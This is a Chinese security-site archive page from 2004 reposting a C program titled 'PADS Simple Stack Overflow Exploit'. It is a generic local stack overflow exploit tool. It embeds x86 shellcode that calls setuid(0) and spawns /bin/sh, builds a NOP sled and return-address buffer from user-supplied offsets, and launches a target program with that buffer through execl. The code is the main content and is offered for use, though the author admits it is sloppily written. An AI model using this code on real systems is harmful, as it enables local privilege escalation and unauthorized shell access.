首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PADS Simple Stack Overflow Exploit
来源:vfocus.net 作者:sloppy 发布时间:2004-08-24  

PADS Simple Stack Overflow Exploit

/*
lazy mans exploit
i make no guarantees this will exploit anything, the exploit itself was
coded sloppy
ChrisR-
*/

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

// typical shellcode to spawn a shell, this can be replaced
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"

"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"

"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

unsigned int sp(void)
{__asm__("movl %esp, %eax");}

int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
int buff_size, nop_size;
char prog_path[255];
char prog_name[255];
char prog_arg[255];

if (argc > 1)
{
printf("\nUsage: %s And enter the values\n",argv[0]);
printf("%s is a tool to aide automate local stack overflow testing. You
may need to change the code to fit your needs"
"there is no way to guarntee automation in the exploitation
process, except for basic examples.\n\n",argv[0]);
printf("chris @ www.cr-secure.net\;n\n");
return 0;
}

printf("Please enter the values as requested . . .\n");
printf("Enter the vulnerable program path: ", prog_path);
scanf("%s", prog_path);
printf("Enter the vulnerable program name: ", prog_name);
scanf("%s", prog_name);
/****if no args req. comment out the next line and the one below that and
fix execl()****/
printf("Enter any arguments the program requires: ", prog_arg);
scanf("%s", prog_arg);
printf("Enter an offset: ");
scanf("%d", &offset);
printf("Enter a buffer size: ");
scanf("%d", &buff_size);
printf("Enter the nop sled size: ");
scanf("%d", &nop_size);

esp = sp();
ret = esp - offset;

printf("\nThe Return Value Is: 0x%x\n", ret);

buffer = malloc(buff_size);

ptr = buffer;
addr_ptr = (long *)ptr;

for (i = offset; i < buff_size; i+=4)
*(addr_ptr++) = ret;

for ( i = offset; i < nop_size; i++)
buffer[i] = '\x90';

ptr = buffer + nop_size;

for ( i = offset; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buffer[buff_size] = 0;

printf("Injecting Shellcode . . .\n\n");

execl(prog_path, prog_name, prog_arg, buffer, 0);
free(buffer);

return 0;
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·BadBlue v2.52 Web Server Denia
·MusicDaemon<=0.0.3/etc/shad
·Qt 3.x bmp image parsing local
·Bird Chat 1.61 Denial Of Servi
·XV v3.x bmp parsing local buff
·Remote Exploit for Hafiye-1.0
·Gallery1.4.4save_photos.php PH
·Axis Network Camera/Video Serv
·PlaySMS version 0.7 and prior
·Squirrelmail chpasswd local Ro
·YaPiG 0.92b add_coment PHP Ins
·Winamp<=5.04Skin File Remot
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved